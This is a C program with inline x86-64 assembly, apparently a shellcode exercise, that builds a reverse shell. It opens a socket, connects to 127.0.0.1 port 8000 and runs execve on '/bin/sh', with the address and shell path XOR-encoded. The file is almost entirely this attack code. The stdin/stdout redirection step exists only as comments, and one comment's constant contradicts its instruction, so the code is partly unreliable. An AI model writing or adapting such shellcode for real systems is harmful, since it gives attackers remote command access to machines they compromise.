#include int main() { /*=================================================================== int sockfd = socket(AF_INET, SOCK_STREAM, 0) ===================================================================*/ // first argument in %rdi: family - AF_INET (2) // second argument in %rsi: type - SOCK_STREAM (1) // third argument in %rdx: protocol = 0 // syscall: socket() = 41 // *** Note *** // %rax will contain sockfd /*===================================================================== sockaddr_in serv_addr serv_addr.sin_addr = inet_addr("127.0.0.1") serv_addr.sin_port = htons(8000); serv_addr.sin_family = AF_INET; connect(sockfd, &serv_addr, sizeof(serv_addr)) // IDEA: PUSH serv_addr on the stack, then %rsp will be &serv_addr =====================================================================*/ // serv_addr.sin_addr = inet_addr("127.0.0.1") // IP Address 127.0.0.1: 0x010000ff => 0x11111111 xor 0x101111116e asm("xor %rbx, %rbx"); asm("push %rbx"); asm("mov $0x11111111, %rbx"); asm("xor $0x1011116e, %rbx"); asm("push %rbx"); // serv_addr.sin_port = htons(8000): 0x401f asm("mov $0x401f, %bx"); // %bx: last 2bytes of %rbx asm("push %bx"); // serv_addr.sin_family = AF_INET (2); asm("xor %rbx, %rbx"); asm("add $2, %bx"); asm("push %bx"); // connnect(): // first argumement in %rdi -- sockfd asm("mov %rax, %rdi"); // second argument in %rsi -- &serv_addr asm("mov %rsp, %rsi"); // third argument in %rdx -- length = 16 asm("xor %rdx, %rdx"); asm("add $16, %rdx"); // syscall: connect() = 42 asm("mov $42, %al"); asm("syscall"); /*============================================================ // **** redirection through dup() **** dup2(sockfd, 0); //stdin dup2(sockfd, 1); //stdout dup2(sockfd, 2); //stderr ============================================================*/ // dup2(sockfd, 0); //stdin // dup2(sockfd, 1); //stdout // dup2(sockfd, 2); //stderr /*================================================================= char* file = "/bin/sh"; char* argv[2]; argv[0] = file; argv[1] = 0; char** env = 0; execve(file, argv, env); ==================================================================*/ // first argument: rdi asm("movabsq $0x1111111111111111, %rax"); asm("movabsq $0x1179623e7f78733e, %rbx"); asm("xor %rbx, %rax"); asm("push %rax"); asm("mov %rsp, %rdi"); // second argument: rsi asm("xor %rax, %rax"); asm("push %rax"); asm("push %rdi"); asm("mov %rsp, %rsi"); // third argumet: rdx asm("xor %rdx, %rdx"); // execve asm("mov $59, %al"); asm("syscall"); return 0; }